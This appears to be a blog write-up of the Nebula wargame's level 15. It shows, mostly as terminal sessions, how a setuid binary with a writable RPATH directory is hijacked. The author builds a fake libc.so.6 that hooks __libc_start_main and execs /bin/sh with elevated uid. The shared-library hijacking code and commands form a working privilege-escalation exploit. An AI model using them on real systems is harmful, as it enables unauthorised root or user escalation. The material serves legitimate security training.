Level 15 of nebula has a binary whose RPATH entry is pointing to /var/tmp/flag15. When a shared object dependency is first searched in the directories given by RPATH in binary, LD_LIBRARY_PATH environment variable and finally the dynamic linker looks into /usr/lib. To solve this level we have to create a fake libc.so.6 library in the specified RPATH location and hook some function call. LD_LIBRARY_PATH cannot be used as the dynamic linker ignores it for setuid/setgid programs.
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH" 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15] level15@nebula:/home/flag15$ ldd ./flag15 linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ level15@nebula:/home/flag15$ ldd ./flag15 linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000)As we can see libc.so.6 is now taken from /var/tmp/flag15/ . Creating a fake libc.so.6 library needs some fine tuning, Ulrich Drepper's paper on "How to write Shared Libraries" served as excellent reading material for me. For debugging purpose I made a copy of flag15, this binary will not have setuid bit and thus enables us to use LD_DEBUG variable.
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15 19630: 19630: file=libc.so.6 [0]; needed by ./flag15 [0] 19630: find library=libc.so.6 [0]; searching 19630: search path=/var/tmp/flag15/tls/i686/sse2/cmov:/var/tmp/flag15/tls/i686/sse2:/var/tmp/flag15/tls/i686/cmov:/var/tmp/flag15/tls/i686:/var/tmp/flag15/tls/sse2/cmov:/var/tmp/flag15/tls/sse2:/var/tmp/flag15/tls/cmov:/var/tmp/flag15/tls:/var/tmp/flag15/i686/sse2/cmov:/var/tmp/flag15/i686/sse2:/var/tmp/flag15/i686/cmov:/var/tmp/flag15/i686:/var/tmp/flag15/sse2/cmov:/var/tmp/flag15/sse2:/var/tmp/flag15/cmov:/var/tmp/flag15 (RPATH from file ./flag15) 19630: trying file=/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6 19630: trying file=/var/tmp/flag15/tls/i686/sse2/libc.so.6 19630: trying file=/var/tmp/flag15/tls/i686/cmov/libc.so.6 19630: trying file=/var/tmp/flag15/tls/i686/libc.so.6 19630: trying file=/var/tmp/flag15/tls/sse2/cmov/libc.so.6 19630: trying file=/var/tmp/flag15/tls/sse2/libc.so.6 19630: trying file=/var/tmp/flag15/tls/cmov/libc.so.6 19630: trying file=/var/tmp/flag15/tls/libc.so.6 19630: trying file=/var/tmp/flag15/i686/sse2/cmov/libc.so.6 19630: trying file=/var/tmp/flag15/i686/sse2/libc.so.6 19630: trying file=/var/tmp/flag15/i686/cmov/libc.so.6 19630: trying file=/var/tmp/flag15/i686/libc.so.6 19630: trying file=/var/tmp/flag15/sse2/cmov/libc.so.6 19630: trying file=/var/tmp/flag15/sse2/libc.so.6 19630: trying file=/var/tmp/flag15/cmov/libc.so.6 19630: trying file=/var/tmp/flag15/libc.so.6 19630: search cache=/etc/ld.so.cache 19630: trying file=/lib/i386-linux-gnu/libc.so.6strace will also reveal information regarding this. So now lets start building our libc.so.6. Generally shared objects are compiled with -shared -fPIC position independent code. But we need little more than that, also we should know which function call to hook. First, I was planning to hook puts() but as it progressed __libc_start_main() seemed to be the better way. But it took me sometime to get there.
level15@nebula:/var/tmp/flag15$ cat libc.c #include<stdlib.h> level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared libc.c -o libc.so.6 level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15 ##################################################################################### 20105: checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file ./flag15 [0] 20105: /var/tmp/flag15/libc.so.6: error: version lookup error: no version information available (required by ./flag15)The first thing we have to deal with is versioning. Ulrich Drepper's ELF symbol versioning gives information regarding this.
level15@nebula:/var/tmp/flag15$ readelf -V flag15 Version symbols section '.gnu.version' contains 5 entries: Addr: 0000000008048276 Offset: 0x000276 Link: 5 (.dynsym) 000: 0 (*local*) 2 (GLIBC_2.0) 0 (*local*) 2 (GLIBC_2.0) 004: 1 (*global*) Version needs section '.gnu.version_r' contains 1 entries: Addr: 0x0000000008048280 Offset: 0x000280 Link: 6 (.dynstr) 000000: Version: 1 File: libc.so.6 Cnt: 1 0x0010: Name: GLIBC_2.0 Flags: none Version: 2 ####################################################################################### Symbol table '.dynsym' contains 5 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2) 2: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 3: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2) 4: 080484cc 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used We have to create a version file and recompile our library. level15@nebula:/var/tmp/flag15$ cat version GLIBC_2.0{}; level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -Wl,--version-script=version libc.c -o libc.so.6 level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15 ######################################################################################### 20414: checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file ./flag15 [0] 20414: checking for version `GLIBC_2.1.3' in file /var/tmp/flag15/libc.so.6 [0] required by file /var/tmp/flag15/libc.so.6 [0] 20414: /var/tmp/flag15/libc.so.6: error: version lookup error: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6)We get another version lookup error. GLIBC_2.1.3 is no where found in flag15 binary. The libc.so.6 is built dynamically, so our version of libc.so.6 actually tries to refer to another libc.so.6 in /lib/i386-linux-gnu/. This fails because shared library is loaded only once even if referenced multiple times. So the idea is to build our version of libc.so.6 statically.
level15@nebula:/var/tmp/flag15$ readelf -V libc.so.6 Version symbols section '.gnu.version' contains 10 entries: Addr: 000000000000028c Offset: 0x00028c Link: 3 (.dynsym) 000: 0 (*local*) 3 (GLIBC_2.1.3) 0 (*local*) 0 (*local*) 004: 1 (*global*) 1 (*global*) 2 (GLIBC_2.0) 1 (*global*) 008: 1 (*global*) 1 (*global*) Version definition section '.gnu.version_d' contains 2 entries: Addr: 0x00000000000002a0 Offset: 0x0002a0 Link: 4 (.dynstr) 000000: Rev: 1 Flags: BASE Index: 1 Cnt: 1 Name: libc.so.6 0x001c: Rev: 1 Flags: WEAK Index: 2 Cnt: 1 Name: GLIBC_2.0 Version needs section '.gnu.version_r' contains 1 entries: Addr: 0x00000000000002d8 Offset: 0x0002d8 Link: 4 (.dynstr) 000000: Version: 1 File: libc.so.6 Cnt: 1 0x0010: Name: GLIBC_2.1.3 Flags: none Version: 3 level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic libc.c -o libc.so.6 level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15 20486: symbol=__libc_start_main; lookup in file=./flag15 [0] 20486: symbol=__libc_start_main; lookup in file=/var/tmp/flag15/libc.so.6 [0] 20486: ./flag15: error: relocation error: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time reference (fatal)Ok, So we will define our own version of __libc_start_main() and check how it works
level15@nebula:/var/tmp/flag15$ cat libc.c #include<stdlib.h> int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { return 0; } level15@nebula:/var/tmp/flag15$ cat version GLIBC_2.0{ global:__libc_start_main; local: *; }; level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic libc.c -o libc.so.6 level15@nebula:/var/tmp/flag15$ ./flag15 Segmentation fault level15@nebula:/var/tmp/flag15$ ulimit -c unlimited level15@nebula:/var/tmp/flag15$ ./flag15 Segmentation fault (core dumped) level15@nebula:/var/tmp/flag15$ gdb -q ./flag15 core Reading symbols from /var/tmp/flag15/flag15...(no debugging symbols found)...done. [New LWP 20557] warning: Can't read pathname for load map: Input/output error. Core was generated by `./flag15'. Program terminated with signal 11, Segmentation fault. #0 0x08048369 in _start () (gdb) x/i $eip => 0x8048369 <_start+33>: hlt level15@nebula:/var/tmp/flag15$ objdump -d flag15 8048348 <_start>: 8048348: 31 ed xor %ebp,%ebp 804834a: 5e pop %esi 804834b: 89 e1 mov %esp,%ecx 804834d: 83 e4 f0 and $0xfffffff0,%esp 8048350: 50 push %eax 8048351: 54 push %esp 8048352: 52 push %edx 8048353: 68 70 84 04 08 push $0x8048470 8048358: 68 00 84 04 08 push $0x8048400 804835d: 51 push %ecx 804835e: 56 push %esi 804835f: 68 30 83 04 08 push $0x8048330 8048364: e8 b7 ff ff ff call 8048320 <__libc_start_main@plt> 8048369: f4 hlt 804836a: 90 nop 804836b: 90 nop 804836c: 90 nop 804836d: 90 nop 804836e: 90 nop 804836f: 90 nopWe have returned from our __libc_start_main() at hit the hlt statement in _start. So lets write the final code to get the shell.
level15@nebula:/var/tmp/flag15$ cat libc.c #include<stdlib.h> #define SHELL "/bin/sh" int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { char *file = SHELL; char *argv[] = {SHELL,0}; setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic libc.c -o libc.so.6 level15@nebula:/home/flag15$ ./flag15 sh-4.2$ id uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)
No comments :
Post a Comment